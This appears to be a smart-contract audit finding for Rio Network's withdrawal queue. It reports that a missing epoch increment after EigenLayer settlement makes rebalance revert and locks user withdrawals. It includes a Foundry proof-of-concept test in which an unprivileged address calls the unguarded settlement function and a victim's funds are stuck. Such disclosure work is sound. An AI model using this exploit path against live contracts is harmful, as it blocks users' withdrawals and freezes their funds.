Sunny Licorice Pheasant

high

# DoS and locked funds caused by lack of epoch increment during EigenLayer settlement

## Summary
If there are insufficient funds on ```RioLRTDepositPool``` to handle withdrawals, the ```settleEpochFromEigenLayer``` function is used. However, ```settleEpochFromEigenLayer``` does not increment epoch as it is done in the ```settleCurrentEpoch```. Because of that, subsequent withdrawals requestes are assigned to the same epoch. However, they cannot be correctly queued during ```queueCurrentEpochSettlement```. That means some of the requested for withdrawal funds will be locked and ```rebalance``` function will revert.

## Vulnerability Detail
To understand this vulnerability following functions must be understood: ```settleCurrentEpoch```, ```settleEpochFromEigenLayer```.

```settleCurrentEpoch``` - allows for full settlement of withdrawal requests for current epoch if there are enough funds to cover them from ```RioLRTDepositPool``` or partial settlement if there are some funds on the ```RioLRTDepositPool```, but it is not enough to cover all withdrawal requests. The rest is queued to withdraw from EigenLayer through ```queueCurrentEpochSettlement```. (https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTWithdrawalQueue.sol#L151)

```settleEpochFromEigenLayer``` - another function for settlement of withdrawal requests for current epoch. However, this function is called only if there were not sufficient funds on the ```RioLRTDepositPool``` to cover all withdrawal requests and there was some ammount queued through ```queueCurrentEpochSettlement```. (https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTWithdrawalQueue.sol#L216)

Settlement takes place during the rebalance, when there are some withdrawal requestes from the users.
```solidity
    /// @notice Rebalances the provided `asset` by processing outstanding withdrawals and
    /// depositing remaining assets into EigenLayer.
    /// @param asset The asset to rebalance.
    function rebalance(address asset) external checkRebalanceDelayMet(asset) {
        if (!assetRegistry().isSupportedAsset(asset)) revert ASSET_NOT_SUPPORTED(asset);
        if (msg.sender != tx.origin) revert CALLER_MUST_BE_EOA();

        // Process any outstanding withdrawals using funds from the deposit pool and EigenLayer.
        uint256 sharesOwed = withdrawalQueue().getSharesOwedInCurrentEpoch(asset);
        if (sharesOwed > 0) {
            _processUserWithdrawalsForCurrentEpoch(asset, sharesOwed);
        }

        // Deposit remaining assets into EigenLayer.
        (uint256 sharesReceived, bool isDepositCapped) = depositPool().depositBalanceIntoEigenLayer(asset);
        if (sharesOwed == 0 && sharesReceived == 0) {
            revert NO_REBALANCE_NEEDED();
        }
        if (sharesReceived > 0) {
            if (asset == ETH_ADDRESS) {
                assetRegistry().increaseUnverifiedValidatorETHBalance(sharesReceived);
            } else {
                assetRegistry().increaseSharesHeldForAsset(asset, sharesReceived);
            }
        }

        // When the deposit is not capped, the rebalance is considered complete, and the asset rebalance
        // timestamp is increased by the specified delay. If capped, the asset may be rebalanced again
        // immediately as there are more assets to deposit.
        if (!isDepositCapped) {
            assetNextRebalanceAfter[asset] = uint40(block.timestamp) + rebalanceDelay;
        }
        emit Rebalanced(asset);
    }
```
What is important here, is that ```rebalance``` function takes ```sharesOwed``` from the current epoch for asset thorugh ```getSharesOwedInCurrentEpoch```. Then, outstanding withdrawals are processed using funds from the deposit pool and EigenLayer through ```_processUserWithdrawalsForCurrentEpoch``` function.
```solidity
    /// @dev Processes user withdrawals for the provided asset by transferring available
    /// assets from the deposit pool and queueing any remaining amount for withdrawal from
    /// EigenLayer.
    /// @param asset The asset being withdrawn.
    /// @param sharesOwed The amount of shares owed to users.
    function _processUserWithdrawalsForCurrentEpoch(address asset, uint256 sharesOwed) internal {
        IRioLRTWithdrawalQueue withdrawalQueue_ = withdrawalQueue();
        (uint256 assetsSent, uint256 sharesSent) = depositPool().transferMaxAssetsForShares(
            asset,
            sharesOwed,
            address(withdrawalQueue_)
        );
        uint256 sharesRemaining = sharesOwed - sharesSent;

        // Exit early if all pending withdrawals were paid from the deposit pool.
        if (sharesRemaining == 0) {
            withdrawalQueue_.settleCurrentEpoch(asset, assetsSent, sharesSent);
            return;
        }

        address strategy = assetRegistry().getAssetStrategy(asset);
        bytes32 aggregateRoot = OperatorOperations.queueWithdrawalFromOperatorsForUserSettlement(
            operatorRegistry(),
            strategy,
            sharesRemaining
        );
        withdrawalQueue_.queueCurrentEpochSettlement(asset, assetsSent, sharesSent, aggregateRoot);
    }
```
This function checks if everything can be paid from the ```RioLRTDepositPool```, and if yes, it settles the current epoch through ```settleCurrentEpoch```.
```solidity
    function settleCurrentEpoch(address asset, uint256 assetsReceived, uint256 shareValueOfAssetsReceived)
        external
        onlyCoordinator
    {
        uint256 currentEpoch = getCurrentEpoch(asset);

        EpochWithdrawals storage epochWithdrawals = _getEpochWithdrawals(asset, currentEpoch);
        if (epochWithdrawals.sharesOwed == 0) revert NO_SHARES_OWED_IN_EPOCH();
        if (epochWithdrawals.settled) revert EPOCH_ALREADY_SETTLED();

        epochWithdrawals.settled = true;
        epochWithdrawals.assetsReceived = SafeCast.toUint120(assetsReceived);
        epochWithdrawals.shareValueOfAssetsReceived = SafeCast.toUint120(shareValueOfAssetsReceived);

        token.burn(epochWithdrawals.amountToBurnAtSettlement);
        currentEpochsByAsset[asset] += 1;

        emit EpochSettledFromDepositPool(currentEpoch, asset, assetsReceived);
    }
```
The checks are passed for the current epoch as there are some withdrawal requests and the epoch was not settled yet. The ```epochWithdrawals.settled = true;``` and after ```token.burn``` current epoch for the asset increments ```currentEpochsByAsset[asset] += 1;```. Then, when the situation repeats itself, the incremented epoch is taken into account as current and everything works just fine.

However, if there are no funds on the ```RioLRTDepositPool``` (or not enough to cover all withdrawal requests) and there are ```sharesRemaining```, the ```settleCurrentEpoch``` will be skipped within the ```_processUserWithdrawalsForCurrentEpoch``` as it only settles if ```sharesRemaining == 0```.
```solidity
        // Exit early if all pending withdrawals were paid from the deposit pool.
        if (sharesRemaining == 0) {
            withdrawalQueue_.settleCurrentEpoch(asset, assetsSent, sharesSent);
            return;
        }
```
Because of that, the withdrawal from EigenLayer will be queued thorugh ```queueCurrentEpochSettlement```. Then, the ```settleEpochFromEigenLayer``` will be called to settle the current epoch and make withdrawalas claimable for the users. The problem is that even though this function settle the withdrawalas once it do not increment ```currentEpoch``` as it is done in ```settleCurrentEpoch``` function. This means that after ```settleEpochFromEigenLayer```, the currentEpoch will remain unchanged.

Users who continue to place withdrawal requests will have them added to the epoch that has already been settled. 

However, during the rebalance, which should process their requests, a revert will occur ```WITHDRAWALS_ALREADY_QUEUED_FOR_EPOCH``` because of L188 (https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTWithdrawalQueue.sol#L188):
```solidity
        if (epochWithdrawals.aggregateRoot != bytes32(0)) revert WITHDRAWALS_ALREADY_QUEUED_FOR_EPOCH();
```

Due to reverting rebalance, further deposits to EigenLayer and user withdrawals will be blocked.

User funds can also be blocked without calling the ```settleEpochFromEigenLayer``` function. It is enough that some of the withdrawalas are queued by ```queueCurrentEpochSettlement``` and the next person orders the withdrawal. Their withdrawal request will be added to the list of withdrawals for the current epoch (which has not changed and has already been queued). It will not be possible to modify the queued list or queue it again so the user will lose their funds.

Moreover, ```settleEpochFromEigenLayer``` can be triggered by anyone because it does not contain a modifier, which makes this attack even easier to perform.

## Impact
**HIGH** - Users cannot withdraw their funds as withdrawal system will be blocked and further deposits to EigenLayer will not be possible for particular asset.

## Code Snippet
https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTWithdrawalQueue.sol#L177 

## Tool used

Manual Review

## Recommendation
* Increment epoch within ```queueCurrentEpochSettlement```.
```solidity
currentEpochsByAsset[asset] += 1;
```
* Consider restriction of access to ```settleEpochFromEigenLayer```.

## POC

In order to illustrate the vulnerability, two scenarios were created based on tests from the ```RioLRTWithdrawalQueue.t.sol``` file:
* ```test_POC_settleEpochFromEigenLayer_as_attacker``` - which illustrates that settleEpochFromEigenLayer can be called by anyone.
* ```test_DOS_settleEpochFromEigenLayer``` - which shows that all further withdrawal requests will be blocked and the user will not be able to claim their funds as rebalance reverts.


```solidity
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.23;

import {BEACON_CHAIN_STRATEGY, ETH_ADDRESS, ETH_DEPOSIT_SIZE, GWEI_TO_WEI} from 'contracts/utils/Constants.sol';
import {IDelegationManager} from 'contracts/interfaces/eigenlayer/IDelegationManager.sol';
import {IRioLRTWithdrawalQueue} from 'contracts/interfaces/IRioLRTWithdrawalQueue.sol';
import {RioDeployer} from 'test/utils/RioDeployer.sol';
import {Asset} from 'contracts/utils/Asset.sol';
import {Array} from 'contracts/utils/Array.sol';
import "forge-std/console.sol";

contract RioLRTWithdrawalQueueTest is RioDeployer {
    using Asset for *;
    using Array for *;

    TestLRTDeployment public reETH;
    TestLRTDeployment public reLST;

    function setUp() public {
        deployRio();

        (reETH,) = issueRestakedETH();
        (reLST,) = issueRestakedLST();
    }

    function test_POC_settleEpochFromEigenLayer_as_attacker() public {
        
        address attacker = address(0xa);
        
        uint8 operatorId = addOperatorDelegator(reETH.operatorRegistry, address(reETH.rewardDistributor));
        address operatorDelegator = reETH.operatorRegistry.getOperatorDetails(operatorId).delegator;

        // Deposit ETH, rebalance, and verify the validator withdrawal credentials.
        uint256 depositAmount = ETH_DEPOSIT_SIZE - address(reETH.depositPool).balance;
        reETH.coordinator.depositETH{value: depositAmount}();

        vm.prank(EOA, EOA);
        reETH.coordinator.rebalance(ETH_ADDRESS);
        uint40[] memory validatorIndices = verifyCredentialsForValidators(reETH.operatorRegistry, 1, 1);

        // Request a withdrawal and rebalance.
        uint256 withdrawalAmount = 16 ether;
        reETH.coordinator.requestWithdrawal(ETH_ADDRESS, withdrawalAmount);
        skip(reETH.coordinator.rebalanceDelay());

        vm.prank(EOA, EOA);
        reETH.coordinator.rebalance(ETH_ADDRESS);

        // Ensure no reETH has been burned yet and process withdrawals.
        assertEq(reETH.token.totalSupply(), ETH_DEPOSIT_SIZE);
        verifyAndProcessWithdrawalsForValidatorIndexes(operatorDelegator, validatorIndices);

        // Settle the withdrawal epoch.
        uint256 withdrawalEpoch = reETH.withdrawalQueue.getCurrentEpoch(ETH_ADDRESS);
        IDelegationManager.Withdrawal[] memory withdrawals = new IDelegationManager.Withdrawal[](1);
        withdrawals[0] = IDelegationManager.Withdrawal({
            staker: operatorDelegator,
            delegatedTo: address(1),
            withdrawer: address(reETH.withdrawalQueue),
            nonce: 0,
            startBlock: 1,
            strategies: BEACON_CHAIN_STRATEGY.toArray(),
            shares: withdrawalAmount.toArray()
        });

        vm.prank(attacker);
        reETH.withdrawalQueue.settleEpochFromEigenLayer(ETH_ADDRESS, withdrawalEpoch, withdrawals, new uint256[](1));

        // Assert epoch summary details.
        IRioLRTWithdrawalQueue.EpochWithdrawalSummary memory epochSummary =
            reETH.withdrawalQueue.getEpochWithdrawalSummary(ETH_ADDRESS, withdrawalEpoch);
        assertTrue(epochSummary.settled);
        assertEq(epochSummary.assetsReceived, withdrawalAmount);
        assertEq(epochSummary.shareValueOfAssetsReceived, withdrawalAmount);

        // Claim and assert withdrawal.
        uint256 balanceBefore = address(this).balance;
        uint256 amountOut = reETH.withdrawalQueue.claimWithdrawalsForEpoch(
            IRioLRTWithdrawalQueue.ClaimRequest({asset: ETH_ADDRESS, epoch: withdrawalEpoch})
        );
        IRioLRTWithdrawalQueue.UserWithdrawalSummary memory userSummary =
            reETH.withdrawalQueue.getUserWithdrawalSummary(ETH_ADDRESS, withdrawalEpoch, address(this));

        assertTrue(userSummary.claimed);
        assertEq(amountOut, withdrawalAmount);
        assertEq(address(this).balance - balanceBefore, withdrawalAmount);
    }

    function test_DOS_settleEpochFromEigenLayer() public {
        uint8 operatorId = addOperatorDelegator(reETH.operatorRegistry, address(reETH.rewardDistributor));
        address operatorDelegator = reETH.operatorRegistry.getOperatorDetails(operatorId).delegator;

        // Deposit ETH, rebalance, and verify the validator withdrawal credentials.
        uint256 depositAmount = ETH_DEPOSIT_SIZE - address(reETH.depositPool).balance;
        reETH.coordinator.depositETH{value: depositAmount}();

        console.log(reETH.withdrawalQueue.getCurrentEpoch(ETH_ADDRESS));
        vm.prank(EOA, EOA);
        reETH.coordinator.rebalance(ETH_ADDRESS);
        uint40[] memory validatorIndices = verifyCredentialsForValidators(reETH.operatorRegistry, 1, 1);

        // Request a withdrawal and rebalance.
        uint256 withdrawalAmount = 16 ether;
        reETH.coordinator.requestWithdrawal(ETH_ADDRESS, withdrawalAmount);
        skip(reETH.coordinator.rebalanceDelay());

        console.log(reETH.withdrawalQueue.getCurrentEpoch(ETH_ADDRESS));
        vm.prank(EOA, EOA);
        reETH.coordinator.rebalance(ETH_ADDRESS);

        // Ensure no reETH has been burned yet and process withdrawals.
        assertEq(reETH.token.totalSupply(), ETH_DEPOSIT_SIZE);
        verifyAndProcessWithdrawalsForValidatorIndexes(operatorDelegator, validatorIndices);

        // Settle the withdrawal epoch.
        uint256 withdrawalEpoch = reETH.withdrawalQueue.getCurrentEpoch(ETH_ADDRESS);
        IDelegationManager.Withdrawal[] memory withdrawals = new IDelegationManager.Withdrawal[](1);
        withdrawals[0] = IDelegationManager.Withdrawal({
            staker: operatorDelegator,
            delegatedTo: address(1),
            withdrawer: address(reETH.withdrawalQueue),
            nonce: 0,
            startBlock: 1,
            strategies: BEACON_CHAIN_STRATEGY.toArray(),
            shares: withdrawalAmount.toArray()
        });
        reETH.withdrawalQueue.settleEpochFromEigenLayer(ETH_ADDRESS, withdrawalEpoch, withdrawals, new uint256[](1));

        // Assert epoch summary details.
        IRioLRTWithdrawalQueue.EpochWithdrawalSummary memory epochSummary =
            reETH.withdrawalQueue.getEpochWithdrawalSummary(ETH_ADDRESS, withdrawalEpoch);
        assertTrue(epochSummary.settled);
        assertEq(epochSummary.assetsReceived, withdrawalAmount);
        assertEq(epochSummary.shareValueOfAssetsReceived, withdrawalAmount);

        // Claim and assert withdrawal.
        uint256 balanceBefore = address(this).balance;
        uint256 amountOut = reETH.withdrawalQueue.claimWithdrawalsForEpoch(
            IRioLRTWithdrawalQueue.ClaimRequest({asset: ETH_ADDRESS, epoch: withdrawalEpoch})
        );
        IRioLRTWithdrawalQueue.UserWithdrawalSummary memory userSummary =
            reETH.withdrawalQueue.getUserWithdrawalSummary(ETH_ADDRESS, withdrawalEpoch, address(this));

        assertTrue(userSummary.claimed);
        assertEq(amountOut, withdrawalAmount);
        assertEq(address(this).balance - balanceBefore, withdrawalAmount);

        //*************************************************//
        // SECOND WITHDRAWAL REQUEST THAT WILL BE LOCKED   //
        //*************************************************//

        address victim = address(0xa);
        vm.deal(victim,20 ether);

        // Deposit ETH, rebalance, and verify the validator withdrawal credentials.
        uint256 depositAmount2 = 12 ether;
        vm.prank(victim);
        reETH.coordinator.depositETH{value: depositAmount2}();

        // Request a withdrawal and rebalance.
        uint256 withdrawalAmount2 = 10 ether;
        reETH.coordinator.requestWithdrawal(ETH_ADDRESS, withdrawalAmount2);
        skip(reETH.coordinator.rebalanceDelay());


        console.log(reETH.withdrawalQueue.getCurrentEpoch(ETH_ADDRESS));
        vm.prank(EOA, EOA);
        //The following rebalance will revert because if (epochWithdrawals.aggregateRoot != bytes32(0)) revert WITHDRAWALS_ALREADY_QUEUED_FOR_EPOCH();
        reETH.coordinator.rebalance(ETH_ADDRESS);
    }

    receive() external payable {}
}
```